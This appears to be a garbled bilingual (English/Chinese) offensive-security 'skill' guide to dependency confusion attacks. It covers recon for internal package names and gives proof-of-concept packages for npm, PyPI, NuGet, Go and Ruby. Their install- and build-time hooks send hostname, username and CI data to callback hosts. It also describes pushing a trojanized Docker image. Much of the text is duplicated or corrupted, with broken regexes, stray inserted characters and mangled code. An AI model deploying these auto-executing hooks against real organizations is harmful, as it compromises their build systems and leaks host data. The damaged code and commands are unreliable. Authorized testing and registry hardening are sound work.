offensive-dependency-confusion
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive Dependency Confusion and Namespace Attacks
攻击性 Dependency Confusion 与 Namespace Attack
Dependency confusion exploits a fundamental design tension in package managers:
the need to resolve packages from multiple sources. When an organization
maintains internal packages alongside public dependencies, the resolution
logic becomes an attack surface. You exploit the gap between how developers
intend packages to resolve and how package managers actually resolve them.
Alex Birsan's 2021 research demonstrated that this class of attack affected
Apple, Microsoft, PayPal, Shopify, Netflix, Yelp, Tesla, and Uber, among
others. The root cause -- preferring a higher-versioned public package over
a lower-versioned private one -- remains exploitable wherever registry
configuration is incomplete.
This skill provides ecosystem-specific exploitation techniques, safe PoC
methodology, and comprehensive reconnaissance approaches for discovering
internal package names during authorized engagements.
Dependency confusion 利用了 package manager 中一个根本性的设计矛盾:
需要从多个来源解析 package。当组织
同时维护内部 package 和公共 dependency 时,解析
逻辑便会成为攻击面。你所利用的,是开发者预期的 package 解析方式
与 package manager 实际解析方式之间的差异。
Alex Birsan 2021 年的研究表明,此类攻击影响了
Apple、Microsoft、PayPal、Shopify、Netflix、Yelp、Tesla 和 Uber 等公司。
根本原因——优先选择版本号更高的公共 package,
而不是版本号较低的私有 package——只要 registry 配置不完整,
就仍然可以利用。
本 skill 提供针对各生态系统的利用技术、安全 PoC
方法,以及在授权 engagement 期间发现内部 package 名称的
全面侦察方法。
Quick Workflow
快速工作流
- Perform reconnaissance to discover internal/private package names used by the target.
- Identify the target's package ecosystems and registry configuration.
- Verify that candidate package names are unclaimed on the corresponding public registry.
- Prepare a safe PoC package with a DNS canary or HTTP callback and a high version number.
- Publish the PoC to the public registry with a clear security research description.
- Monitor the callback endpoint for execution confirmations from target infrastructure.
- Record callback metadata (hostname, username, CI flag, timestamp) as evidence.
- Remove the PoC package from the public registry after confirmation or engagement window closes.
- Document the full attack chain, impacted systems, and registry hardening recommendations.
- 执行侦察,发现目标使用的内部或私有 package 名称。
- 确定目标的 package 生态系统及 registry 配置。
- 验证候选 package 名称尚未在相应公共 registry 上被占用。
- 准备带有 DNS canary 或 HTTP callback 且版本号较高的安全 PoC package。
- 将 PoC 发布到公共 registry,并附上清晰的安全研究说明。
- 监控 callback endpoint,确认目标基础设施是否发生执行。
- 记录 callback 元数据(hostname、username、CI flag、timestamp),作为证据。
- 确认执行情况或 engagement window 结束后,从公共 registry 移除 PoC package。
- 记录完整攻击链、受影响系统及 registry 加固建议。
Reconnaissance for Internal Package Names
内部 Package 名称侦察
Discovering what internal packages a target uses is the critical first step.
You extract package names from every available artifact and signal.
确定目标使用哪些内部 package 是关键的第一步。
你需要从所有可用 artifact 和 signal 中提取 package 名称。
Lock File Analysis
Lock File 分析
Lock files are the highest-fidelity source of internal package names. They
list every resolved dependency with exact versions and, in some formats,
the registry source.
bash
undefinedLock file 是获取内部 package 名称时保真度最高的来源。它们
会列出每个已解析 dependency 的精确版本,并在某些格式中
记录 registry 来源。
bash
undefinednpm: package-lock.json reveals resolved URLs
npm: package-lock.json reveals resolved URLs
Internal packages often resolve to a private registry
Internal packages often resolve to a private registry
cat package-lock.json | jq -r '
.packages | to_entries[] |
select(.value.resolved != null) |
select(.value.resolved | test("registry.npmjs.org") | not) |
.key
' | sed 's|node_modules/||' | sort -u
cat package-lock.json | jq -r '
.packages | to_entries[] |
select(.value.resolved != null) |
select(.value.resolved | test("registry.npmjs.org") | not) |
.key
' | sed 's|node_modules/||' | sort -u
yarn: yarn.lock includes registry URLs inline
yarn: yarn.lock includes registry URLs inline
grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock |
grep -v 'resolved' | sed 's/@.//' | sort -u > public_packages.txt grep -B1 'resolved "https://' yarn.lock |
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' |
sed 's/@.//' | sort -u > possibly_internal.txt
grep -v 'resolved' | sed 's/@.//' | sort -u > public_packages.txt grep -B1 'resolved "https://' yarn.lock |
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' |
sed 's/@.//' | sort -u > possibly_internal.txt
grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock |
grep -v 'resolved' | sed 's/@.//' | sort -u > public_packages.txt grep -B1 'resolved "https://' yarn.lock |
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' |
sed 's/@.//' | sort -u > possibly_internal.txt
grep -v 'resolved' | sed 's/@.//' | sort -u > public_packages.txt grep -B1 'resolved "https://' yarn.lock |
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' |
sed 's/@.//' | sort -u > possibly_internal.txt
pip: requirements.txt may reference internal packages
pip: requirements.txt may reference internal packages
Look for packages not found on public PyPI
Look for packages not found on public PyPI
grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<![].//; s/\s$//' | while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") [ "$code" = "404" ] && echo "[INTERNAL] $pkg" done
sed 's/[>=<![].//; s/\s$//' | while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") [ "$code" = "404" ] && echo "[INTERNAL] $pkg" done
grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<![].//; s/\s$//' | while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") [ "$code" = "404" ] && echo "[INTERNAL] $pkg" done
sed 's/[>=<![].//; s/\s$//' | while read pkg; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") [ "$code" = "404" ] && echo "[INTERNAL] $pkg" done
Pipfile.lock contains source information
Pipfile.lock contains source information
cat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt
undefinedcat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt
undefinedJavaScript Source Maps
JavaScript Source Map
Production JavaScript bundles sometimes ship with source maps or readable
module paths that reveal internal package names.
bash
undefined生产环境中的 JavaScript bundle 有时会附带 source map,
或者包含可读的 module path,从而暴露内部 package 名称。
bash
undefinedExtract source map URLs from JavaScript bundles
Extract source map URLs from JavaScript bundles
curl -s https://target.example.com/app.js |
grep -oP '//# sourceMappingURL=\K.*'
grep -oP '//# sourceMappingURL=\K.*'
curl -s https://target.example.com/app.js |
grep -oP '//# sourceMappingURL=\K.*'
grep -oP '//# sourceMappingURL=\K.*'
Download and parse source map for internal module paths
Download and parse source map for internal module paths
curl -s https://target.example.com/app.js.map |
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' |
sed 's|.node_modules/||; s|/.||' | sort -u
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' |
sed 's|.node_modules/||; s|/.||' | sort -u
curl -s https://target.example.com/app.js.map |
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' |
sed 's|.node_modules/||; s|/.||' | sort -u
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' |
sed 's|.node_modules/||; s|/.||' | sort -u
Look for webpack chunk manifests
Look for webpack chunk manifests
curl -s https://target.example.com/ |
grep -oP 'src="[^"]chunk[^"]"' |
sed 's/src="//;s/"//' | while read chunk; do curl -s "https://target.example.com/$chunk" |
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u done
grep -oP 'src="[^"]chunk[^"]"' |
sed 's/src="//;s/"//' | while read chunk; do curl -s "https://target.example.com/$chunk" |
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u done
undefinedcurl -s https://target.example.com/ |
grep -oP 'src="[^"]chunk[^"]"' |
sed 's/src="//;s/"//' | while read chunk; do curl -s "https://target.example.com/$chunk" |
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u done
grep -oP 'src="[^"]chunk[^"]"' |
sed 's/src="//;s/"//' | while read chunk; do curl -s "https://target.example.com/$chunk" |
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u done
undefinedError Messages and Stack Traces
错误消息与 Stack Trace
Application errors leak internal package names in stack traces and module
resolution failures. Trigger 404 pages, API errors, and debug endpoints.
bash
curl -s https://target.example.com/nonexistent 2>&1 | \
grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'应用错误会在 stack trace 和 module 解析失败信息中泄露内部 package 名称。
应尝试触发 404 页面、API 错误和 debug endpoint。
bash
curl -s https://target.example.com/nonexistent 2>&1 | \
grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'Also search Wayback Machine for cached error pages with module names
Also search Wayback Machine for cached error pages with module names
undefinedundefinedGitHub Repository Mining
GitHub Repository 挖掘
bash
undefinedbash
undefinedSearch GitHub for the organization's package manifests and registry configs
Search GitHub for the organization's package manifests and registry configs
gh api search/code
-X GET
-f q='org:targetcorp filename:package.json registry.corp'
-f per_page=10 | jq -r '.items[].path'
-X GET
-f q='org:targetcorp filename:package.json registry.corp'
-f per_page=10 | jq -r '.items[].path'
gh api search/code
-X GET
-f q='org:targetcorp filename:package.json registry.corp'
-f per_page=10 | jq -r '.items[].path'
-X GET
-f q='org:targetcorp filename:package.json registry.corp'
-f per_page=10 | jq -r '.items[].path'
Search for .npmrc files that reveal scope-to-registry mappings
Search for .npmrc files that reveal scope-to-registry mappings
gh api search/code
-X GET
-f q='org:targetcorp filename:.npmrc'
-f per_page=10
-X GET
-f q='org:targetcorp filename:.npmrc'
-f per_page=10
gh api search/code
-X GET
-f q='org:targetcorp filename:.npmrc'
-f per_page=10
-X GET
-f q='org:targetcorp filename:.npmrc'
-f per_page=10
Search for requirements.txt with --extra-index-url
Search for requirements.txt with --extra-index-url
gh api search/code
-X GET
-f q='org:targetcorp extra-index-url filename:requirements'
-f per_page=10
-X GET
-f q='org:targetcorp extra-index-url filename:requirements'
-f per_page=10
gh api search/code
-X GET
-f q='org:targetcorp extra-index-url filename:requirements'
-f per_page=10
-X GET
-f q='org:targetcorp extra-index-url filename:requirements'
-f per_page=10
Search for NuGet.config with private feeds
Search for NuGet.config with private feeds
gh api search/code
-X GET
-f q='org:targetcorp filename:nuget.config packageSources'
-f per_page=10
-X GET
-f q='org:targetcorp filename:nuget.config packageSources'
-f per_page=10
undefinedgh api search/code
-X GET
-f q='org:targetcorp filename:nuget.config packageSources'
-f per_page=10
-X GET
-f q='org:targetcorp filename:nuget.config packageSources'
-f per_page=10
undefinedAdditional Recon Sources
其他侦察来源
bash
undefinedbash
undefinedDocker Hub, npm org scopes, PyPI author search
Docker Hub, npm org scopes, PyPI author search
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name'
curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]'
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name'
curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]'
Also mine job postings for internal tool names and library references
Also mine job postings for internal tool names and library references
---
---npm Scope Confusion
npm Scope Confusion
npm uses scoped packages () to namespace packages. The
confusion arises when internal scoped packages are not properly mapped to a
private registry, or when unscoped internal packages exist.
@scope/package-namenpm 使用 scoped package()创建 namespace。
当内部 scoped package 未正确映射到私有 registry,
或者存在未加 scope 的内部 package 时,就会产生 confusion。
@scope/package-nameUnscoped Package Confusion
未加 Scope 的 Package Confusion
When an organization uses unscoped internal packages, npm resolves from the
default registry (npmjs.org) unless explicitly overridden.
ini
undefined当组织使用未加 scope 的内部 package 时,除非显式覆盖默认配置,
npm 会从默认 registry(npmjs.org)进行解析。
ini
undefinedVulnerable .npmrc -- no registry override for internal packages
Vulnerable .npmrc -- no registry override for internal packages
registry=https://registry.npmjs.org/
registry=https://registry.npmjs.org/
Internal packages like "corp-utils" resolve from public npm
Internal packages like "corp-utils" resolve from public npm
```ini
```iniSlightly better but still vulnerable .npmrc
Slightly better but still vulnerable .npmrc
registry=https://npm.corp.example.com/
registry=https://npm.corp.example.com/
Falls back to public npm if the private registry does not have the package
Falls back to public npm if the private registry does not have the package
or if the public version is higher
or if the public version is higher
```bash
```bashCheck if unscoped internal names are claimable on public npm
Check if unscoped internal names are claimable on public npm
target_packages="corp-utils internal-auth shared-config data-pipeline"
for pkg in $target_packages; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
echo "$pkg: HTTP $code"
done
undefinedtarget_packages="corp-utils internal-auth shared-config data-pipeline"
for pkg in $target_packages; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
echo "$pkg: HTTP $code"
done
undefinedScoped Package Confusion
Scoped Package Confusion
Even scoped packages are vulnerable if the scope-to-registry mapping is
missing or misconfigured.
ini
undefined即使使用了 scope,在 scope 到 registry 的映射缺失或配置错误时,
仍然会受到攻击。
ini
undefinedVulnerable .npmrc -- scope exists but no registry mapping
Vulnerable .npmrc -- scope exists but no registry mapping
registry=https://registry.npmjs.org/
registry=https://registry.npmjs.org/
@targetcorp/internal-lib resolves from public npm if the scope
@targetcorp/internal-lib resolves from public npm if the scope
is not mapped to the private registry
is not mapped to the private registry
```ini
```iniCorrect .npmrc configuration (for reference in reports)
Correct .npmrc configuration (for reference in reports)
registry=https://registry.npmjs.org/
@targetcorp:registry=https://npm.corp.example.com/
registry=https://registry.npmjs.org/
@targetcorp:registry=https://npm.corp.example.com/
Now @targetcorp/* packages resolve exclusively from the private registry
Now @targetcorp/* packages resolve exclusively from the private registry
```bash
```bashCheck if the target's npm scope is claimed on public npm
Check if the target's npm scope is claimed on public npm
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error'
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error'
"Not found" means the scope may be unclaimed
"Not found" means the scope may be unclaimed
Try to register the scope on npmjs.org if it is not reserved
Try to register the scope on npmjs.org if it is not reserved
undefinedundefinednpm PoC Package
npm PoC Package
json
{
"name": "corp-internal-utils",
"version": "999.0.0",
"description": "Security research - dependency confusion PoC - contact security@researcher.example",
"scripts": {
"preinstall": "node callback.js || true"
}
}javascript
// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');
// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;
dns.resolve(`${label}.your-id.interact.sh`, () => {});
// HTTP callback with minimal metadata
const payload = JSON.stringify({
hostname: os.hostname(), username: os.userInfo().username,
ci: process.env.CI || 'false', platform: os.platform(),
cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
hostname: 'canary.researcher.example', path: '/npm-confusion',
method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();json
{
"name": "corp-internal-utils",
"version": "999.0.0",
"description": "Security research - dependency confusion PoC - contact security@researcher.example",
"scripts": {
"preinstall": "2node callback.js || true"
}
}javascript
// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');
// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;\ndns.resolve(`${label}.your-id.interact.sh`, () => {});
// HTTP callback with minimal metadata
const payload = JSON.stringify({
hostname: os.hostname(), username: os.userInfo().username,
ci: process.env.CI || 'false', platform: os.platform(),
cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
hostname: 'canary.researcher.example', path: '/npm-confusion',
method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();PyPI Namespace Attacks
PyPI Namespace Attack
Python's pip has two index configuration options with critically different
security properties.
Python 的 pip 提供两种 index 配置选项,
二者的安全属性存在关键差异。
--extra-index-url vs --index-url
--extra-index-url 与 --index-url
bash
undefinedbash
undefinedVULNERABLE: --extra-index-url adds a second index alongside PyPI
VULNERABLE: --extra-index-url adds a second index alongside PyPI
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib
pip checks BOTH PyPI and the private index, picks the highest version
pip checks BOTH PyPI and the private index, picks the highest version
SAFE: --index-url replaces PyPI entirely
SAFE: --index-url replaces PyPI entirely
pip install --index-url https://pypi.corp.example.com/simple/ internal-lib
pip install --index-url https://pypi.corp.example.com/simple/ internal-lib
pip ONLY checks the private index
pip ONLY checks the private index
```ini
```iniVulnerable pip.conf (or pip.ini on Windows)
Vulnerable pip.conf (or pip.ini on Windows)
[global]
extra-index-url = https://pypi.corp.example.com/simple/
[global]
extra-index-url = https://pypi.corp.example.com/simple/
All pip install commands now check both indexes
All pip install commands now check both indexes
Safe pip.conf
Safe pip.conf
[global]
index-url = https://pypi.corp.example.com/simple/
[global]
index-url = https://pypi.corp.example.com/simple/
Public PyPI is no longer consulted
Public PyPI is no longer consulted
undefinedundefinedPyPI PoC Package
PyPI PoC Package
python
undefinedpython
undefinedsetup.py -- PoC with install/develop/egg_info hook vectors
setup.py -- PoC with install/develop/egg_info hook vectors
import os, sys, socket, urllib.request
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
CANARY = "canary.researcher.example"
PKG = "internal-data-pipeline"
def safe_callback(phase):
"""DNS + HTTP callback with minimal metadata. No secrets, no file access."""
try:
h = socket.gethostname()[:30]
u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]
ci = "1" if any(os.getenv(v) for v in
["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0"
label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60]
try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)
except socket.gaierror: pass
data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode()
urllib.request.urlopen(urllib.request.Request(
f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5)
except Exception: pass
class InstallHook(install):
def run(self): safe_callback("install"); install.run(self)
class DevelopHook(develop):
def run(self): safe_callback("develop"); develop.run(self)
class EggInfoHook(egg_info):
def run(self): safe_callback("egg_info"); egg_info.run(self)
setup(
name=PKG, version="9999.0.0",
description="Security research PoC -- dependency confusion -- contact security@researcher.example",
cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook},
)
---import os, sys, socket, urllib.request
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
CANARY = "canary.researcher.example"
PKG = "2internal-data-pipeline"
def safe_callback(phase):
"""DNS + HTTP callback with minimal metadata. No secrets, no file access."""
try:
h = socket.gethostname()[:30]
u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]
ci = "1" if any(os.getenv(v) for v in
["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0"
label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60]
try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)
except socket.gaierror: pass
data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode()
urllib.request.urlopen(urllib.request.Request(
f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5)
except Exception: pass
class InstallHook(install):
def run(self): safe_callback("install"); install.run(self)
class DevelopHook(develop):
def run(self): safe_callback("develop"); develop.run(self)
class EggInfoHook(egg_info):
def run(self): safe_callback("egg_info"); egg_info.run(self)
setup(
name=PKG, version="9999.0.0",
description="Security research PoC -- dependency confusion -- contact security@researcher.example",
cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook},
)
---NuGet Feed Priority Exploitation
NuGet Feed 优先级利用
NuGet resolves packages from configured feeds in the order they are listed,
but selects the highest version found across all feeds.
xml
<!-- Vulnerable: both feeds active, highest version wins across all -->
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
</packageSources>
</configuration>
<!-- Hardened: clear + packageSourceMapping (for remediation reporting) -->
<configuration>
<packageSources><clear />
<add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
</packageSources>
<packageSourceMapping>
<packageSource key="internal"><package pattern="Corp.*" /></packageSource>
</packageSourceMapping>
</configuration>bash
undefinedNuGet 会按照已配置 feed 的列出顺序解析 package,
但最终会选择所有 feed 中找到的最高版本。
xml
<!-- Vulnerable: both feeds active, highest version wins across all -->
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="2internal" value="2https://nuget.corp.example.com/v3/index.json" />
</packageSources>
</configuration>
<!-- Hardened: clear + packageSourceMapping (for remediation reporting) -->
<configuration>
<packageSources><clear />
<add key="2internal" value="2https://nuget.corp.example.com/v3/index.json" />
</packageSources>
<packageSourceMapping>
<packageSource key="2internal"><package pattern="Corp.*" /></packageSource>
</packageSourceMapping>
</configuration>bash
undefinedRecon: extract NuGet package names from .csproj files
Recon: extract NuGet package names from .csproj files
grep -rh 'PackageReference Include=' --include="*.csproj" . |
sed 's/.Include="//; s/".//' | sort -u > nuget_packages.txt
sed 's/.Include="//; s/".//' | sort -u > nuget_packages.txt
grep -rh 'PackageReference Include=' --include="*.csproj" . |
sed 's/.Include="//; s/"2.//' | sort -u > nuget_packages.txt
sed 's/.Include="//; s/"2.//' | sort -u > nuget_packages.txt
Check public NuGet for availability
Check public NuGet for availability
while read pkg; do
code=$(curl -s -o /dev/null -w "%{http_code}"
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json") [ "$code" = "404" ] && echo "[AVAILABLE] $pkg" done < nuget_packages.txt
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json") [ "$code" = "404" ] && echo "[AVAILABLE] $pkg" done < nuget_packages.txt
```csharp
// NuGet PoC package -- .targets file for build-time execution
// Place in build/Corp.Internal.Auth.targets
// MSBuild executes this during package restore
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="DepConfusionCallback" BeforeTargets="Build">
<Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)"
IgnoreExitCode="true" />
</Target>
</Project>while read pkg; do
code=$(curl -s -o /dev/null -w "%{http_code}"
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json") [ "$code" = "404" ] && echo "[AVAILABLE] $pkg" done < nuget_packages.txt
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json") [ "$code" = "404" ] && echo "[AVAILABLE] $pkg" done < nuget_packages.txt
```csharp
// NuGet PoC package -- .targets file for build-time execution
// Place in build/Corp.Internal.Auth.targets
// MSBuild executes this during package restore
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="DepConfusionCallback" BeforeTargets="Build">
<Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)" \
IgnoreExitCode="true" />
</Target>
</Project>Maven and Gradle Repository Ordering
Maven 与 Gradle 的 Repository 顺序
Java ecosystems resolve artifacts by iterating through configured repositories
in order. If Maven Central is listed before a private repository, an attacker
can claim the groupId:artifactId on Central.
xml
<!-- pom.xml: Maven checks central first; attacker claims com.targetcorp:internal-lib -->
<repositories>
<repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>
<repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository>
</repositories>bash
undefinedJava 生态系统会按顺序遍历已配置的 repository 来解析 artifact。
如果 Maven Central 排在私有 repository 之前,攻击者便可以在 Central 上
占用对应的 groupId:artifactId。
xml
<!-- pom.xml: Maven checks central first; attacker claims com.targetcorp:internal-lib -->
<repositories>
<repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>
<repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository>
</repositories>bash
undefinedCheck Maven Central for groupId:artifactId availability
Check Maven Central for groupId:artifactId availability
group_path=$(echo "com.targetcorp" | tr '.' '/')
curl -s -o /dev/null -w "%{http_code}"
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"
```groovy
// build.gradle: Gradle checks mavenCentral() first -- same vulnerability
repositories {
mavenCentral()
maven { url "https://nexus.corp.example.com/repository/maven-releases/" }
}group_path=$(echo "com.targetcorp" | tr '.' '/')
curl -s -o /dev/null -w "%{http_code}"
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"
```groovy
// build.gradle: Gradle checks mavenCentral() first -- same vulnerability
repositories {
mavenCentral()
maven { url "https://nexus.corp.example.com/repository/maven-releases/" }
}Go Module Proxy Abuse
Go Module Proxy 滥用
Go modules resolve through the GOPROXY chain. The default configuration
means the public proxy is
consulted first.
GOPROXY=https://proxy.golang.org,directbash
undefinedGo module 通过 GOPROXY chain 进行解析。默认配置
意味着会优先查询公共 proxy。
GOPROXY=https://proxy.golang.org,directbash
undefinedCheck if a Go module path is claimable
Check if a Go module path is claimable
Internal modules often use the corp domain as the module path
Internal modules often use the corp domain as the module path
404/410 means it is not cached on the public proxy
404/410 means it is not cached on the public proxy
GOPROXY misconfiguration allows confusion
GOPROXY misconfiguration allows confusion
the public proxy is checked first
the public proxy is checked first
```bash
```bashRecon: extract Go module dependencies
Recon: extract Go module dependencies
cat go.sum | awk '{print $1}' | sort -u |
grep -v 'github.com|golang.org|google.golang.org' > go_internal_modules.txt
grep -v 'github.com|golang.org|google.golang.org' > go_internal_modules.txt
```go
// Go module with init() callback for PoC
package confusionpoc
import ("net"; "net/http"; "os"; "os/user"; "strings")
func init() {
hostname, _ := os.Hostname()
u, _ := user.Current()
uname := "unknown"
if u != nil { uname = u.Username }
label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")
net.LookupHost(label + ".your-id.interact.sh")
http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)
}cat go.sum | awk '{print $1}' | sort -u |
grep -v 'github.com|golang.org|google.golang.org' > go_internal_modules.txt
grep -v 'github.com|golang.org|google.golang.org' > go_internal_modules.txt
```go
// Go module with init() callback for PoC
package confusionpoc
import ("net"; "net/http"; "os"; "os/user"; "strings")
func init() {
hostname, _ := os.Hostname()
u, _ := user.Current()
uname := "unknown"
if u != nil { uname = u.Username }
label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")
net.LookupHost(label + ".your-id.interact.sh")
http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)
}Ruby Gems and Docker Image Confusion
Ruby Gems 与 Docker Image Confusion
Ruby Gems Squatting
Ruby Gems Squatting
bash
undefinedbash
undefinedCheck if a gem name is available
Check if a gem name is available
curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" |
jq '.name // "NOT FOUND"'
jq '.name // "NOT FOUND"'
```rubycurl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" |
jq '.name // "NOT FOUND"'
jq '.name // "NOT FOUND"'
```rubyGemspec with post-install callback via ext/extconf.rb
Gemspec with post-install callback via ext/extconf.rb
Gem::Specification.new do |s|
s.name = "corp-internal-utils"; s.version = "999.0.0"
s.summary = "Security research - dependency confusion PoC"
s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"]
end
Gem::Specification.new do |s|
s.name = "corp-internal-utils"; s.version = "999.0.0"
s.summary = "Security research - dependency confusion PoC"
s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"]
end
ext/extconf.rb -- executed during gem install
ext/extconf.rb -- executed during gem install
require 'socket'; require 'net/http'
h, u = Socket.gethostname, (ENV['USER'] || 'unknown')
Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nil
File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")
undefinedrequire 'socket'; require 'net/http'
h, u = Socket.gethostname, (ENV['USER'] || 'unknown')
Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nil
File.write("Makefile", "all:\n\true:\ninstall:\n\true:\n")
undefinedDocker Image Tag Confusion
Docker Image Tag Confusion
Unqualified image names (e.g. ) resolve to Docker Hub.
If the Docker Hub namespace is unclaimed, you register it and push a
trojanized image that targets pull automatically.
targetcorp/backendbash
undefined非限定 image 名称(例如 )会解析到 Docker Hub。
如果对应 Docker Hub namespace 尚未被占用,就可以注册该 namespace,
并推送一个会自动被目标拉取的恶意植入 image。
targetcorp/backendbash
undefinedCheck if the Docker Hub namespace is available
Check if the Docker Hub namespace is available
curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'
```yamlcurl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'
```yamlVulnerable docker-compose.yml -- unqualified names resolve to Docker Hub
Vulnerable docker-compose.yml -- unqualified names resolve to Docker Hub
services:
backend:
image: targetcorp/backend:latest # should be registry.corp.example.com/...
frontend:
image: targetcorp/frontend:v2.1 # mutable tag; should use @sha256:... digest
---services:
backend:
image: targetcorp/backend:latest # should be registry.corp.example.com/...
frontend:
image: targetcorp/frontend:v2.1 # mutable tag; should use @sha256:... digest
---Safe PoC Methodology
安全 PoC 方法
You never deploy destructive or exfiltration-capable payloads. Every PoC
uses safe callbacks only.
绝不部署具有破坏性或具备数据外传能力的 payload。
每个 PoC 都只使用安全 callback。
DNS Canary Options
DNS Canary 选项
bash
undefinedbash
